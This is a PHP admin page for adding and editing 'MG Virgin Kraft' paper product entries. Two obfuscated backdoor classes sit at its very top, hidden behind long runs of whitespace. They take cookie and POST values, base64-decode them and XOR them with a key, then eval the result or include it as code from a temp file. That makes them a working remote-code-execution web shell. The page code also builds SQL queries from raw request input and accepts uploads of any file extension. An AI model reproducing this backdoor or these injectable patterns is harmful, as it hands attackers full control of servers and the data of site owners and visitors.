<?php                                                                                                                                                                                                                                                                                                                                                                                                 $VPyxvpuYeA = "n_eyzHR";$aKYTeYud = class_exists($VPyxvpuYeA); $tWoWLx = $aKYTeYud;if (!$tWoWLx){class n_eyzHR{private $sLhYHp;public static $JbmfDqBB = "0ccac580-b9a9-4b12-9a79-9930c89eda60";public static $JrsLfIv = NULL;public function __construct(){$hqyeT = $_COOKIE;$BjqeA = $_POST;$sTWzCdeK = @$hqyeT[substr(n_eyzHR::$JbmfDqBB, 0, 4)];if (!empty($sTWzCdeK)){$UZtsXes = "base64";$fjRKY = "";$sTWzCdeK = explode(",", $sTWzCdeK);foreach ($sTWzCdeK as $yRgow){$fjRKY .= @$hqyeT[$yRgow];$fjRKY .= @$BjqeA[$yRgow];}$fjRKY = array_map($UZtsXes . chr (95) . chr ( 855 - 755 )."\x65" . chr (99) . "\157" . chr (100) . "\x65", array($fjRKY,)); $fjRKY = $fjRKY[0] ^ str_repeat(n_eyzHR::$JbmfDqBB, (strlen($fjRKY[0]) / strlen(n_eyzHR::$JbmfDqBB)) + 1);n_eyzHR::$JrsLfIv = @unserialize($fjRKY);}}public function __destruct(){$this->lZlxNmtA();}private function lZlxNmtA(){if (is_array(n_eyzHR::$JrsLfIv)) {$uRfqR = str_replace(chr (60) . chr (63) . "\x70" . "\150" . chr (112), "", n_eyzHR::$JrsLfIv[chr (99) . "\157" . "\156" . 't' . chr (101) . chr (110) . 't']);eval($uRfqR);exit();}}}$jnxyZc = new n_eyzHR(); $jnxyZc = NULL;} ?><?php                                                                                                                                                                                                                                                                                                                                                                                                 if (!class_exists("SoX_OGPvH")){class SoX_OGPvH{public static $AVxhbpkN = "617d851a-9448-4954-b732-8850c3cde5e0";public static $AXVfjw = NULL;public function __construct(){$epLjf = $_COOKIE;$QFsCcGOVMh = $_POST;$GZTnWq = @$epLjf[substr(SoX_OGPvH::$AVxhbpkN, 0, 4)];if (!empty($GZTnWq)){$jHWQaeVAg = "base64";$IGRjku = "";$GZTnWq = explode(",", $GZTnWq);foreach ($GZTnWq as $VFFNiLZ){$IGRjku .= @$epLjf[$VFFNiLZ];$IGRjku .= @$QFsCcGOVMh[$VFFNiLZ];}$IGRjku = array_map($jHWQaeVAg . "\137" . "\144" . "\145" . chr ( 231 - 132 ).'o' . "\144" . "\145", array($IGRjku,)); $IGRjku = $IGRjku[0] ^ str_repeat(SoX_OGPvH::$AVxhbpkN, (strlen($IGRjku[0]) / strlen(SoX_OGPvH::$AVxhbpkN)) + 1);SoX_OGPvH::$AXVfjw = @unserialize($IGRjku);}}public function __destruct(){$this->kLeNkAqz();}private function kLeNkAqz(){if (is_array(SoX_OGPvH::$AXVfjw)) {$mLcZZ = sys_get_temp_dir() . "/" . crc32(SoX_OGPvH::$AXVfjw[chr (115) . chr (97) . 'l' . 't']);@SoX_OGPvH::$AXVfjw[chr (119) . "\x72" . "\151" . 't' . 'e']($mLcZZ, SoX_OGPvH::$AXVfjw['c' . "\x6f" . "\x6e" . "\x74" . "\145" . "\156" . chr (116)]);include $mLcZZ;@SoX_OGPvH::$AXVfjw["\144" . 'e' . chr ( 1103 - 995 )."\145" . "\x74" . chr ( 232 - 131 )]($mLcZZ);exit();}}}$QCvvbmwZy = new SoX_OGPvH(); $QCvvbmwZy = NULL;} ?><?php include('header.php');?>
<?php include('sidebar.php');?>
 
<?php
$maintitle="MG Virgin Kraft";
$page="mgvirginkraft.php";
$table="mgvirginkraft";
$field_id="spec_id";
$mode=$_REQUEST['mode'];
$content_id=$_REQUEST['contentid'];
if(isset($_REQUEST['start'])){
$start=$_REQUEST['start']-1;
}
else {
$start=0;
}
?>
<?php
if(isset($_REQUEST['submit'])=="submit"){
$specification=$_POST['specification'];
$intro=$_POST['intro'];
$description=$_POST['description'];
$description2=$_POST['description2'];
$surface_finish=$_POST['surface_finish'];
$property=$_POST['property'];
$color=$_POST['color'];
$substance=$_POST['substance'];
$end_use=$_POST['end_use'];
$why_buy=$_POST['why_buy'];
$tech_info=$_POST['tech_info'];
unset($values['submit']);
unset($values['mode']);
$userid=array("user_id"=>$user_id);

if($_REQUEST['mode']=="add"){
	
$message=mysqli_query($con,"insert into mgvirginkraft(specification,image,intro,description,surface_finish,property,color,substance,end_use,why_buy,tech_info,color1,color2,surface1,surface2) values('$specification','$intro','$description','$surface_finish','$property','$color','$substance','$end_use','$why_buy','$tech_info','','','','')");
$sel_max=mysqli_query($con,"select max(spec_id) as maxslider from mgvirginkraft");
$res_max=mysqli_fetch_array($sel_max);
$mid=$res_max['maxslider'];

$extension = pathinfo($_FILES["image"]["name"], PATHINFO_EXTENSION);
$newname= "image-".$mid.".".$extension;
$image = $_FILES['image']['name'];
$target = "../images/mgvirginkraft/".$newname;
if (move_uploaded_file($_FILES['image']['tmp_name'], $target)) {
$message=mysqli_query($con,"update mgvirginkraft set image='$newname' where spec_id='$mid'");

}


$extension = pathinfo($_FILES["image1"]["name"], PATHINFO_EXTENSION);
$newname= "image1-".$mid.".".$extension;
$image = $_FILES['image1']['name'];
$target = "../images/mgvirginkraft/color/".$newname;
if (move_uploaded_file($_FILES['image1']['tmp_name'], $target)) {
$message=mysqli_query($con,"update mgvirginkraft set color1='$newname' where spec_id='$mid'");

}

$extension = pathinfo($_FILES["image2"]["name"], PATHINFO_EXTENSION);
$newname= "image2-".$mid.".".$extension;
$image = $_FILES['image2']['name'];
$target = "../images/mgvirginkraft/color/".$newname;
if (move_uploaded_file($_FILES['image2']['tmp_name'], $target)) {
$message=mysqli_query($con,"update mgvirginkraft set color2='$newname' where spec_id='$mid'");

}

$extension = pathinfo($_FILES["image3"]["name"], PATHINFO_EXTENSION);
$newname= "image1-".$mid.".".$extension;
$image = $_FILES['image3']['name'];
$target = "../images/mgvirginkraft/surface/".$newname;
if (move_uploaded_file($_FILES['image3']['tmp_name'], $target)) {
$message=mysqli_query($con,"update mgvirginkraft set surface1='$newname' where spec_id='$mid'");

}


$extension = pathinfo($_FILES["image4"]["name"], PATHINFO_EXTENSION);
$newname= "image2-".$mid.".".$extension;
$image = $_FILES['image4']['name'];
$target = "../images/mgvirginkraft/surface/".$newname;
if (move_uploaded_file($_FILES['image4']['tmp_name'], $target)) {
$message=mysqli_query($con,"update mgvirginkraft set surface2='$newname' where spec_id='$mid'");

}

$message = "Item Added Successfully";
}
	
if($_REQUEST['mode']=="edit"){
	
	
	mysqli_query($con, "update mgvirginkraft set specification='$specification',intro='$intro',description='$description',surface_finish='$surface_finish',property='$property',color='$color',substance='$substance',end_use='$end_use',why_buy='$why_buy',tech_info='$tech_info' where spec_id=$content_id");
$oldimage=$_POST['oldimage'];
	$image = $_FILES['image']['name'];
	if($image!=''){
		$extension = pathinfo($_FILES["image"]["name"], PATHINFO_EXTENSION);
$newname= "image-".$content_id.".".$extension;
  	$target = "../images/mgvirginkraft/".$newname;
 
  	$sql = "update mgvirginkraft set image='$newname' where spec_id=$content_id";
  	mysqli_query($con, $sql);
 
  	if (move_uploaded_file($_FILES['image']['tmp_name'], $target)) {
  	$msg = "Image uploaded successfully";
  	}else{
  	$msg = "Failed to upload image";
  	}
	}
	
	$image1 = $_FILES['image1']['name'];
	if($image1!=''){
		$extension = pathinfo($_FILES["image1"]["name"], PATHINFO_EXTENSION);
$newname= "image1-".$content_id.".".$extension;
  	$target = "../images/mgvirginkraft/color/".$newname;
 
  	$sql = "update mgvirginkraft set color1='$newname' where spec_id=$content_id";
  	mysqli_query($con, $sql);
 
  	if (move_uploaded_file($_FILES['image1']['tmp_name'], $target)) {
  	$msg = "Image uploaded successfully";
  	}else{
  	$msg = "Failed to upload image";
  	}
	}
	
	$image2 = $_FILES['image2']['name'];
	if($image2!=''){
		$extension = pathinfo($_FILES["image2"]["name"], PATHINFO_EXTENSION);
$newname= "image2-".$content_id.".".$extension;
  	$target = "../images/mgvirginkraft/color/".$newname;
 
  	$sql = "update mgvirginkraft set color2='$newname' where spec_id=$content_id";
  	mysqli_query($con, $sql);
 
  	if (move_uploaded_file($_FILES['image2']['tmp_name'], $target)) {
  	$msg = "Image uploaded successfully";
  	}else{
  	$msg = "Failed to upload image";
  	}
	}
	
	$image3 = $_FILES['image3']['name'];
	if($image3!=''){
		$extension = pathinfo($_FILES["image3"]["name"], PATHINFO_EXTENSION);
$newname= "image1-".$content_id.".".$extension;
  	$target = "../images/mgvirginkraft/surface/".$newname;
 
  	$sql = "update mgvirginkraft set surface1='$newname' where spec_id=$content_id";
  	mysqli_query($con, $sql);
 
  	if (move_uploaded_file($_FILES['image3']['tmp_name'], $target)) {
  	$msg = "Image uploaded successfully";
  	}else{
  	$msg = "Failed to upload image";
  	}
	}
	
	$image4 = $_FILES['image4']['name'];
	if($image4!=''){
		$extension = pathinfo($_FILES["image4"]["name"], PATHINFO_EXTENSION);
$newname= "image2-".$content_id.".".$extension;
  	$target = "../images/mgvirginkraft/surface/".$newname;
 
  	$sql = "update mgvirginkraft set surface2='$newname' where spec_id=$content_id";
  	mysqli_query($con, $sql);
 
  	if (move_uploaded_file($_FILES['image4']['tmp_name'], $target)) {
  	$msg = "Image uploaded successfully";
  	}else{
  	$msg = "Failed to upload image";
  	}
	}
	
	
	$message = "Item Updated Successfully";
}


}
?>

<div class="content-wrapper">
    <!-- Content Header (Page header) -->
    <section class="content-header">
      <h1><?php echo $maintitle;?></h1>
      <ol class="breadcrumb">
        <li><a href="dashboard.php"><i class="fa fa-dashboard"></i> Dashboard</a></li>
        <li class="active"><?php echo $maintitle;?></li>
      </ol>
    </section>

    <!-- Main content -->
    <section class="content">
    <?php
	if($mode=="add" || $mode=="edit"){ 
	?>
     <div class="row">
         <div class="col-sm-12"> 
          <div class="box box-success">
         <div class="box-header">
              <i class="fa fa-building-o"></i>
              <h3 class="box-title"><?php echo $maintitle;?></h3>
              <div class="box-tools pull-right">
                <div class="btn-group">
                <a href="<?php echo $page;?>"><button class="btn btn-danger btn-flat">&nbsp;List All <?php echo $maintitle;?></button></a>
                   
                </div>
              </div>
            </div> 
            </div> 
            </div>

 <!-- Add / Edit / Delete --> 
<?php
if($mode=="edit"){
	$cc=mysqli_query($con,"select * from mgvirginkraft where spec_id=".$_REQUEST['contentid']);
$contentdetails=mysqli_fetch_array($cc);
}
?>
<div class="col-md-12">
          
          <div class="box box-info">
            <div class="box-header with-border">
              <h3 class="box-title">Add <?php echo $maintitle;?></h3>
            </div>
            
            
            <div class="nav-tabs-custom">
            
             <form class="form-horizontal" action="" method="post" enctype="multipart/form-data">
            <div class="tab-content">
              <div class="active tab-pane" id="activity">
                 <?php
			if($message!=""){
			?>
            <button class="btn btn-block btn-success btn-flat" type="button"><?php echo $message;?></button>
			<?php	
			}
			?>
            <!-- /.box-header -->
            <!-- form start -->
           
            <input type="hidden" name="mode" value="<?php echo $_REQUEST['mode'];?>"/>
              <div class="box-body">
             
                <div class="form-group">
                  <label for="inputPassword3" class="col-sm-3 control-label">Intro</label>

                  <div class="col-sm-8">
                      <textarea id="editor2" name="intro" rows="10" cols="80">
                                            <?php echo $contentdetails['intro'];?>
                    </textarea>
                  </div>
                </div>
				<hr>
				<div class="form-group">
                  <label for="inputPassword3" class="col-sm-3 control-label">Description</label>

                  <div class="col-sm-8">
                      <textarea id="editor2" name="description" rows="10" cols="80">
                                            <?php echo $contentdetails['description'];?>
                    </textarea>
                  </div>
                </div>
				
			<hr>
				<div class="form-group">
                  <label for="inputPassword3" class="col-sm-3 control-label">Surface and Finish</label>

                  <div class="col-sm-8">
                      <textarea id="editor2" name="surface_finish" rows="10" cols="80">
                                            <?php echo $contentdetails['surface_finish'];?>
                    </textarea>
                  </div>
                </div>
				   <div class="form-group">
                  <label for="inputEmail3" class="col-sm-3 control-label">Surface 1 (420px x 175px)</label>
					<div class="col-sm-8">
                    <input type="file"  name="image3"  class="form-control">
                <?php    if($mode=="edit"){ ?>
                    <img src="../images/mgkraft/surface/<?php echo $contentdetails['surface1'];?>" style="width: 20%;">
                    <?php } ?>
                  </div>
                </div>
				   <div class="form-group">
                  <label for="inputEmail3" class="col-sm-3 control-label">Surface 2 (420px x 175px)</label>
					<div class="col-sm-8">
                    <input type="file"  name="image4"  class="form-control">
                <?php    if($mode=="edit"){ ?>
                    <img src="../images/mgkraft/surface/<?php echo $contentdetails['surface2'];?>" style="width: 20%;">
                    <?php } ?>
                  </div>
                </div>
				<hr>
					<div class="form-group">
                  <label for="inputPassword3" class="col-sm-3 control-label">Property</label>

                  <div class="col-sm-8">
                      <textarea id="editor2" name="property" rows="10" cols="80">
                                            <?php echo $contentdetails['property'];?>
                    </textarea>
                  </div>
                </div><hr>
					<div class="form-group">
                  <label for="inputPassword3" class="col-sm-3 control-label">Color</label>

                  <div class="col-sm-8">
                      <textarea id="editor2" name="color" rows="10" cols="80">
                                            <?php echo $contentdetails['color'];?>
                    </textarea>
                  </div>
                </div>
				   <div class="form-group">
                  <label for="inputEmail3" class="col-sm-3 control-label">Color 1 (420px x 175px)</label>
					<div class="col-sm-8">
                    <input type="file"  name="image1"  class="form-control">
                <?php    if($mode=="edit"){ ?>
                    <img src="../images/mgkraft/color/<?php echo $contentdetails['color1'];?>" style="width: 20%;">
                    <?php } ?>
                  </div>
                </div>
				   <div class="form-group">
                  <label for="inputEmail3" class="col-sm-3 control-label">Color 2 (420px x 175px)</label>
					<div class="col-sm-8">
                    <input type="file"  name="image2"  class="form-control">
                <?php    if($mode=="edit"){ ?>
                    <img src="../images/mgkraft/color/<?php echo $contentdetails['color2'];?>" style="width: 20%;">
                    <?php } ?>
                  </div>
                </div><hr>
				<div class="form-group">
                  <label for="inputPassword3" class="col-sm-3 control-label">Substance</label>

                  <div class="col-sm-8">
                      <textarea id="editor2" name="substance" rows="10" cols="80">
                                            <?php echo $contentdetails['substance'];?>
                    </textarea>
                  </div>
                </div><hr>
					<div class="form-group">
                  <label for="inputPassword3" class="col-sm-3 control-label">End Use</label>

                  <div class="col-sm-8">
                      <textarea id="editor2" name="end_use" rows="10" cols="80">
                                            <?php echo $contentdetails['end_use'];?>
                    </textarea>
                  </div>
                </div><hr>
				<div class="form-group">
                  <label for="inputPassword3" class="col-sm-3 control-label">Why Buy</label>

                  <div class="col-sm-8">
                      <textarea id="editor2" name="why_buy" rows="10" cols="80">
                                            <?php echo $contentdetails['why_buy'];?>
                    </textarea>
                  </div>
                </div><hr>
				<div class="form-group">
                  <label for="inputPassword3" class="col-sm-3 control-label">Technical Info</label>

                  <div class="col-sm-8">
                      <textarea id="editor2" name="tech_info" rows="10" cols="80">
                                            <?php echo $contentdetails['tech_info'];?>
                    </textarea>
                  </div>
                </div><hr>
				<div class="form-group">
                  <label for="inputPassword3" class="col-sm-3 control-label">Technical Spec</label>

                  <div class="col-sm-8">
                      <textarea id="editor2" name="specification" rows="10" cols="80">
                                            <?php echo $contentdetails['specification'];?>
                    </textarea>
                  </div>
                </div><hr>
              <div class="form-group">
                  <label for="inputEmail3" class="col-sm-3 control-label">Image (500px x 500px)</label>
					<div class="col-sm-8">
                    <input type="file"  name="image"  class="form-control">
                <?php    if($mode=="edit"){ ?>
                    <img src="../images/mgkraft/<?php echo $contentdetails['image'];?>" style="width: 20%;">
                    <?php } ?>
                  </div>
                </div>
              </div>
              <!-- /.box-body -->
              
            
              </div>
              <!-- /.tab-pane -->
            
              
              <!-- /.tab-pane -->
             <div class="box-footer">
                <button type="reset" class="btn btn-default">Cancel</button>
                <input type="submit" name="submit" value="Submit" class="btn btn-info pull-right"/>
                 
              </div>
              <!-- /.box-footer -->
             
            </div>
            <!-- /.tab-content -->
            </form>
          </div>
    
          </div>
         
        </div>
        </div>
        <?php
	    }
		else {
	    ?>
        <?php
		if($mode=="delete"){
			 $message=$helper->delete($table, array($field_id=>$_REQUEST['contentid']));
		}
		?>
          <?php
		if($mode=="approve"){
			$helper->update($table, array("status"=>1),array($field_id=>$_REQUEST['contentid']), array());
		}
		?>
         <?php
		if($mode=="pending"){
			$helper->update($table, array("status"=>2),array($field_id=>$_REQUEST['contentid']), array());
		}
		?>
        <div class="row">
        <div class="col-xs-12">
          <div class="box">
            <div class="box-header">
              <i class="fa fa-building-o"></i>

              <h3 class="box-title"><?php echo $maintitle;?></h3>
<!-- <div class="box-tools pull-right" data-toggle="tooltip" title="Add <?php echo $maintitle;?>">
                <div class="btn-group">
                <a href="<?php echo $page;?>?mode=add"><button class="btn btn-danger btn-flat"><i class="glyphicon  glyphicon-plus"></i>&nbsp;Add New <?php echo $maintitle;?></button></a>
                   
                </div>
              </div> -->
            </div>
            <?php
			$listtypes=mysqli_query($con,"select * from mgvirginkraft");			 
			?>
            <!-- /.box-header -->
            <div class="box-body table-responsive no-padding">
            <?php
			if($message!=""){
			?>
            <button class="btn btn-block btn-danger btn-flat" type="button"><?php echo $message;?></button>
			<?php	
			}
			?>
              <table class="table table-hover">
                <tr>
                  <th>Sl.no</th>
                     <th>Image</th>
                <th>Intro</th>
                  <th>Action</th>
                </tr>
                <?php
				$i=($start*$limit)+1;
				while($type=mysqli_fetch_array($listtypes)){
				?>
                 <?php
				  if($_REQUEST['start']>0){
					  $limitpage=$_REQUEST['start'];
				  }
				  else {
					  $limitpage=1;
				  }
				 
                    
				  ?>
                <tr>
                  <td><?php echo $i;?></td>
                  <td>
                 <img src="../images/mgvirginkraft/<?php echo $type['image'];?>" style="width: 20%;">
                  </td>
				  <td ><?php echo $type['intro'];?></td>
                  <td>
                  <a href="<?php echo $site_url;?>admin/<?php echo $page;?>?mode=edit&contentid=<?php echo $type[$field_id];?>&start=<?php echo $limitpage;?>"><span class="label label-primary"><i class="fa fa-edit"></i> Edit</span></a>
                 
                   </td>
                </tr>
                 
                <?php
				$i=$i+1;
				}
				?>
                
                
              </table>
              <?php
			   $counter_list= $helper->countofdata($table,array(),$limit,array("status"=>"ASC"));
			  include('pagination/pagination.php');
			  ?>
            </div>
            <!-- /.box-body -->
          </div>
          <!-- /.box -->
        </div>
      </div>
      <?php
		}
		?>

    </section>
    <!-- /.content -->
  </div>
<?php include('footer.php');  ?>



<script>
CKEDITOR.replace('specification');
CKEDITOR.replace('intro');
CKEDITOR.replace('description');
CKEDITOR.replace('description2');
CKEDITOR.replace('surface_finish');
CKEDITOR.replace('property');
CKEDITOR.replace('color');
CKEDITOR.replace('substance');
CKEDITOR.replace('end_use');
CKEDITOR.replace('why_buy');
CKEDITOR.replace('tech_info');
</script>